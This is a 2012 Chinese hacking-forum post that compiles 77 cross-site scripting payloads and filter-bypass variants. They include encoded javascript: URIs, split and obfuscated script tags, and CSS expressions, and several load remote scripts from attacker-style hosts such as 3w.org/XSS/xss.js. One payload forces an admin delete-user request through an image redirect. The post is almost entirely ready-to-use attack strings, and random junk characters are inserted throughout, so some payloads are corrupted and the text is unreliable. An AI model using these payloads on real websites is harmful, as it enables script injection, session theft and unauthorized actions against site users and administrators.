找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3470|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
" w* O3 }. b& E( f0 D5 [: |/ O) s+ }2 ]% C0 e) P* M% V/ l
(1)普通的XSS JavaScript注入
. T5 w: M$ D9 n9 r <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- f6 S& H: Z' C) n6 m* G, _7 H8 P( d5 p7 q/ m! P& p
(2)IMG标签XSS使用JavaScript命令4 I1 T+ X: [6 n& U
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ F* ~& {3 I% u
: ?% B# F& K9 v) S) [) S (3)IMG标签无分号无引号: f6 o) ~5 e0 @# {! d9 j
<IMG SRC=javascript:alert(‘XSS’)>
- c5 O5 J8 R- ^% N4 r7 c
9 i) x; C2 t+ v3 `6 k6 [ (4)IMG标签大小写不敏感; m9 a7 F" m( z+ X9 h7 q
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
' F2 L9 i: `5 D6 W7 s8 ]0 k+ S- H9 k7 j2 f
(5)HTML编码(必须有分号), S" \) H; I! L1 v2 |8 d
<IMG SRC=javascript:alert(“XSS”)>: O5 c3 Q# J' g* J7 b8 B" ?( a

2 h: W. i& [$ t" C8 Z (6)修正缺陷IMG标签1 E2 K* }; }4 Y& D& ^
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
" `3 J- @# I* p3 C
( n' e4 Q0 |* U( `1 D% c7 J (7)formCharCode标签(计算器)
  D+ o/ \! m) M <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8 X, Q: U1 v3 y$ @6 E1 J+ g9 Q- ~
4 t1 X+ H$ L2 ^7 o- }$ v
(8)UTF-8的Unicode编码(计算器)
( }% E; L2 `8 s* C <IMG SRC=jav..省略..S')>
; X$ j5 O, n9 J0 _, @% N( }  ~* c1 V7 f' ?1 z  g+ E7 |$ i) c
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)8 _3 W5 i0 ?: W' t- D& S
<IMG SRC=jav..省略..S')>
8 ~3 _! S  S% ^+ Y
+ q% ^1 k$ T8 M! A+ s (10)十六进制编码也是没有分号(计算器)
, G1 n) s8 N. C7 {2 l, T0 z <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>  q  Y$ _% X$ t( n( b0 T
9 W* T2 O* e" z7 ~: Y. O  J) |
(11)嵌入式标签,将Javascript分开
9 N5 T# H: [! ~6 X0 q# g0 Q <IMG SRC=”jav ascript:alert(‘XSS’);”>
- o. [: ^- b( m& t2 {
0 F- H/ A& m2 P5 y5 \ (12)嵌入式编码标签,将Javascript分开
; Y! u( v8 `8 N5 z <IMG SRC=”jav ascript:alert(‘XSS’);”>5 Y, @/ F7 o/ b+ u+ [, u& ?" @6 w

$ s& V; ~" w/ U2 f# u' e; U0 ? (13)嵌入式换行符: j& x  {& Q0 U& n' j& v5 G7 ~+ z
<IMG SRC=”jav ascript:alert(‘XSS’);”>- v; Z# j% {$ J5 w  `& \

% Q7 @1 j- M+ k2 q  [. r* z  _ (14)嵌入式回车
( u/ s0 k) h9 c <IMG SRC=”jav ascript:alert(‘XSS’);”>
7 v6 \7 U7 _$ I9 P! ^( ?4 x+ j$ ]3 \  M% V
(15)嵌入式多行注入JavaScript,这是XSS极端的例子& L+ s+ C5 Q6 \% j* k
<IMG SRC=”javascript:alert(‘XSS‘)”>) D9 p9 E5 t1 q: Q3 ^

1 b9 z/ ?1 y9 O& m: P6 Q (16)解决限制字符(要求同页面)
) G4 o- F* e$ k: {' o8 ? <script>z=’document.’</script>
4 A. u, |7 e; q: B4 ~1 H/ V <script>z=z+’write(“‘</script>" G! I& p5 O/ v' Q& _
<script>z=z+’<script’</script>
# y% a# k( d3 N/ K# W" [ <script>z=z+’ src=ht’</script>( L: v3 T6 {2 l' R5 B
<script>z=z+’tp://ww’</script>
3 k1 N8 c: ]. }* ]& }9 F <script>z=z+’w.shell’</script>
* b4 k  F7 F2 M) G( p! Y5 d0 K% G8 s <script>z=z+’.net/1.’</script>
8 I# ?( v1 r2 ?8 G* q7 ` <script>z=z+’js></sc’</script>
; T7 m) [- B% J/ y <script>z=z+’ript>”)’</script>
/ h3 C! g) H: O4 y1 ]! f: | <script>eval_r(z)</script>
3 p9 h5 @+ O; E) v/ b1 I5 s6 b2 K$ `9 W
(17)空字符
: P1 o  d5 f% Z2 d$ Q: Y perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out* a. o" z0 N  _9 f2 B# ], P1 ?

1 y; S' P- U7 h) \ (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用) J- X% e& R1 c
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out$ N- @; C9 y4 g. p! x" @) h
" ~. E- X0 x& R! _
(19)Spaces和meta前的IMG标签
( |6 T4 |. n" N8 \ <IMG SRC=”   javascript:alert(‘XSS’);”>
7 @# k1 Z# E/ ]+ r) X
5 Z! l2 q2 }) f' G (20)Non-alpha-non-digit XSS
* G# X; B% Z) w/ u8 g <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>) N3 I5 |' b; C# F* h% k, T
, h0 u- C2 T9 U! O+ a
(21)Non-alpha-non-digit XSS to 2/ |0 S# ?0 m- B2 y# z. d6 k
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
( L  V+ E" v8 c/ j9 J! ~$ `- f3 A' i
(22)Non-alpha-non-digit XSS to 3
8 e3 n. t/ i$ Z3 a" A <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
; T8 |" w9 t: u. E9 g0 @( c- p7 q5 I6 v5 F2 o+ w5 O- T
(23)双开括号# @* D& f; c( S: f9 v0 F' W
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( S* x) f* e3 J5 g: y3 A. D0 E) l, Q! e  \7 Y
(24)无结束脚本标记(仅火狐等浏览器)
1 G3 C0 U' [: H6 d0 `( a! f <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>( g6 A0 N# u. @" V6 b& ]  i3 @4 r; w  R
5 g* m! f! L" g
(25)无结束脚本标记2
" B+ t3 n# L9 f, L <SCRIPT SRC=//3w.org/XSS/xss.js>
/ q. a: e* L* p6 D
( Z* _( k0 }9 ?# S- P (26)半开的HTML/JavaScript XSS
% }2 v# |$ Y6 ^; o# m' u <IMG SRC=”javascript:alert(‘XSS’)”
5 o! i. j" t. W! T, z. B; w5 `4 z+ Y, |; ^6 [7 T3 {
(27)双开角括号! @' u' ?$ u/ I* `7 K0 I
<iframe src=http://3w.org/XSS.html <
/ P. D3 K1 [! z4 y' u
3 o% o( _! ]1 B) K. t$ v2 w6 V$ R (28)无单引号 双引号 分号7 v% X1 _; x1 V% x$ M* Z7 M
<SCRIPT>a=/XSS// k7 E& v. O; s7 R7 h8 p' `4 K
alert(a.source)</SCRIPT>
3 Z, E' R% u( h. `( J  O  i9 {, _7 }9 l: e# t
(29)换码过滤的JavaScript
  l1 [5 K1 Q$ J \”;alert(‘XSS’);//7 F0 D) d5 ]8 }& U9 b7 a
8 V1 C% z! n5 J. @1 M" \  w' H* j
(30)结束Title标签( Q/ E  H& c: |6 P
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>8 O" Q, {7 k$ C
1 a6 r) T% W' ]$ l% x
(31)Input Image9 n$ v' k8 S" ]* w) I+ R( y
<INPUT SRC=”javascript:alert(‘XSS’);”>
0 P+ d9 t2 D/ ]! Z# }
, h  S6 z' M: a$ a0 i3 M( R (32)BODY Image
: ]3 c: B# V8 \- Q0 a+ ]7 T( T <BODY BACKGROUND=”javascript:alert(‘XSS’)”>6 r( Y6 ]9 \! j
- J2 w/ H+ V4 b2 o
(33)BODY标签
% [0 W: z' f$ F) T7 \$ q <BODY(‘XSS’)>
9 I& |& q, ]6 g: L  N0 B2 H$ }: t$ o
(34)IMG Dynsrc
3 e1 Z3 r1 \6 u! R$ [# { <IMG DYNSRC=”javascript:alert(‘XSS’)”>
. Z* A; Z# K# e- [) M- S
" J  r' s& ]$ I8 t7 a (35)IMG Lowsrc
* R" g  ~! g- C' z& r9 I$ d <IMG LOWSRC=”javascript:alert(‘XSS’)”>
# I0 `, W0 z$ ]* X3 Y3 X
9 n0 k  i& V. z4 `: ?0 Q0 m (36)BGSOUND& t* q: o. [5 A$ I/ {' t, m, Q
<BGSOUND SRC=”javascript:alert(‘XSS’);”>& k' h- v+ [, ?+ ?0 D/ r$ D
* S& V) h, Y& f( S$ k/ e9 W) B
(37)STYLE sheet% Z- Y5 `- D+ Y+ R8 T
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>1 Z% m+ g+ o( s* k
( F( S0 O5 h$ M) [9 l
(38)远程样式表
7 N% q" L5 O9 J( W2 L, y9 A <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>& o4 A) A: Z0 k; B! S
- W; D( l( w1 _6 B; {
(39)List-style-image(列表式)7 B$ i2 \+ q. @6 Q  l- Y
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
% E4 C7 A. g6 p1 T9 M3 Q
# @: X, |6 j/ I$ ~* \4 Q' w# [ (40)IMG VBscript
$ l0 ^& I3 e0 M* W  p) {' | <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
0 n- Z! H, ]. S8 _$ \! |. `4 B5 g* B  U- Z8 i
(41)META链接url
% A1 Q! _: X' ~$ M" ?) U <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>5 P* r, J6 f! C( n1 P) G

- J  P: G, g# O (42)Iframe, y" u9 }% R' e1 y. D1 M
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>' C$ h4 w+ x5 i; ^8 x4 x% e
0 o' ]: p7 X  ?& I0 N9 S
(43)Frame
* a: o4 x3 j1 p  @5 p <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
. F/ I! Y/ U. u2 G0 e* f1 o! v/ b9 m$ o; A7 W/ d
(44)Table0 x  y# P8 z0 w1 K$ k
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
& G. j% a0 B5 C. p2 C) E* T6 a7 J( N
(45)TD+ u  k- `2 m' o' c# c& o; V( C
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>' Z& e- z! O; K8 [5 y

/ ?% g7 I2 u+ K) F* y (46)DIV background-image
2 e3 u7 L9 L& I" |- e! e <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
7 N! o1 m7 J+ R" z2 R/ C
" k% E; z* Y* R0 D# e5 d0 z (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
5 z7 E( O! S+ V% Q7 _' k* v <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
1 g+ G, c& i" s( r
) A1 W2 k$ p' s* h. N. O) h% ^ (48)DIV expression
1 Z% H( ^3 f, r! E3 {7 n* d' [' ~ <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
. \2 s# S. z1 T" V9 o3 P" R3 t* j' k4 z2 E/ F/ d2 \' l! X5 G
(49)STYLE属性分拆表达
  j, a; R# F, U0 ^" V' F <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
! k! w2 w% v% @- S4 o- n/ V1 m% L- i' b) {& C; J
(50)匿名STYLE(组成:开角号和一个字母开头)
$ Y2 h8 v7 i1 J8 R7 C6 H <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>' ~& v3 o% Y: \; e3 V) f

2 _9 o2 ?9 ]* d (51)STYLE background-image1 t5 L+ u) C4 B) c. G9 M
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
% X8 D) f# |% I4 z  j) B5 Z3 Z+ [) G8 W1 \
(52)IMG STYLE方式
- d0 z6 H# C6 G) s: ^0 u" |! g exppression(alert(“XSS”))’>
: r( e  M, i/ p3 W3 h% b$ u, i. b: [& C6 u
(53)STYLE background
3 |. ~1 d5 s, Q8 u: J- I <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
, w3 p* i+ Z( Z: E9 X( d+ v& Y# M0 j3 o. u
(54)BASE0 g& ~: w+ P% M8 V) ?1 z7 N
<BASE HREF=”javascript:alert(‘XSS’);//”>  S( X* y# u/ e# [% M0 b! g
$ a  V/ D# ~' k& q$ b6 s
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
8 p6 c% l: O2 e$ S3 S# _0 j <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>1 F; K* [5 u0 s' J

8 L6 l2 k4 U6 y$ S, l: A  V0 T- A (56)在flash中使用ActionScrpt可以混进你XSS的代码5 `# J& y0 p' G# H/ X% F6 }  \1 E
a=”get”;* `( U! ^) a, ~' A. p0 ~2 K3 S
b=”URL(\”";% R! @5 u# e- y6 Z8 S& Y3 w
c=”javascript:”;
3 h; l" o" T0 S0 d, g d=”alert(‘XSS’);\”)”;3 F& s) Z/ C6 A
eval_r(a+b+c+d);0 E( e( W1 }5 C: p1 V3 h* I
2 Y1 g# v: f' f4 ~3 }
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上- W$ ~' L* Q( G0 H
<HTML xmlns:xss>
# H) H- I8 j" m/ b% g+ q <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
# A) G: Q2 |; g* m <xss:xss>XSS</xss:xss>
" s' s: x/ w1 D* v </HTML>
; q& K: w2 E6 g( D. r9 R# c  ?% A4 Z. U! N, t7 Y7 ^' u/ G9 W
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用0 N. u; R. C  T9 Z
<SCRIPT SRC=””></SCRIPT>  v9 I7 \: s$ d: x' P
6 Y5 K8 t/ I; {8 t4 V& ]
(59)IMG嵌入式命令,可执行任意命令
/ V5 P- X: M( e, P5 w& G9 V. p% k <IMG SRC=”http://www.XXX.com/a.php?a=b”>
. L$ C% J, L" n* V2 {1 y
- k$ b) y# F7 t5 Q# y (60)IMG嵌入式命令(a.jpg在同服务器)
( ?* R7 x: I+ [5 T* A" e( Y3 Z& x Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
2 w) G; k6 L% _) {  z/ Q8 t7 K2 Z4 S; D5 x4 M/ K" I7 J" N
(61)绕符号过滤
7 q6 r+ ]' f* c5 l( _ <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>5 }  V4 x. Z2 _  g! _

  q7 G3 J  h- }/ [ (62)8 }0 i# ?$ j7 b9 i3 U
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>) o4 _- B5 L, w- Y

/ N# x0 k) g2 P1 F (63)& @/ \. V/ K( U# u) A6 z1 c2 E  _
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
0 @* b! P3 `% n% ?$ C. Y  q) |; H2 b# b
(64)4 j& P3 z- o! d' F4 [0 x5 Q/ r
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
% Z3 P. X9 B; }1 W# R
/ C5 V/ j1 ?! T' Y) v  \0 L (65)
7 i* y( [9 ?0 W0 N, _$ y% j <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
: w7 m. {1 p( h4 Y2 I% q. S6 ^* B4 Z4 O  ^& j% C2 E5 z
(66)8 U8 I4 g" ?. z5 [
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
  b0 E1 h4 A/ V0 Q9 V. p$ M& M: J, a; Y
(67)
8 Q7 q. G4 C% G <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>5 ]9 y& n* O  h. w  E' A6 _. b6 |

$ z) p* D% [& A& B (68)URL绕行
! s" J& R$ D6 J0 ` <A HREF=”http://127.0.0.1/”>XSS</A>* y% K7 l. ~) ~
( f6 q1 c; h" T9 J7 u5 ], n0 L4 D
(69)URL编码
* |# D% R# x8 B9 J4 i <A HREF=”http://3w.org”>XSS</A>
4 @2 l1 U3 V2 Z2 c$ a9 ~# a, K1 X" U; R' ~
(70)IP十进制
* J3 L) u6 n# U, J( F3 D" l# K1 w% ~2 C <A HREF=”http://3232235521″>XSS</A>
$ U9 q5 c' e; S) u
0 [# O$ O& H, M0 _7 {# J# U, r (71)IP十六进制
" y6 X; L1 @6 R& g/ K <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
5 U3 v; p. b# p" w
7 F4 `& a" _4 k5 t% W' d, @ (72)IP八进制& q4 J5 W. P, u3 M# b- k" M; r
<A HREF=”http://0300.0250.0000.0001″>XSS</A>; Y  b  |$ z5 X/ s+ r+ r6 n# l
; F& p' X$ X9 `9 q* \) U6 G2 y
(73)混合编码
. z$ q% U2 A& I$ b& v <A HREF=”h  g7 s0 e$ i& x0 B5 T( l1 H
tt p://6 6.000146.0×7.147/”">XSS</A>
* @* D$ i; N' X, {" w0 }. ^! W% ]1 h: O( k/ E7 u
(74)节省[http:]# k8 u* I$ ]% u8 N$ x
<A HREF=”//www.google.com/”>XSS</A>
8 V8 _4 B: _. D$ `" t. \- [5 v; S( N$ s( _8 h0 f
(75)节省[www]0 }7 T7 f- R: B9 x( {
<A HREF=”http://google.com/”>XSS</A>
. h  F  Q5 n2 d" i, b5 N' ~! a" O' E2 u: ^
(76)绝对点绝对DNS
' ~/ E. |; Y- c  S0 w9 |# N( I% C <A HREF=”http://www.google.com./”>XSS</A>5 N, K& ]) t& @
1 v7 X) S9 V' O& r( T) |/ Z# |- U
(77)javascript链接
  {2 K4 z& g# N <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表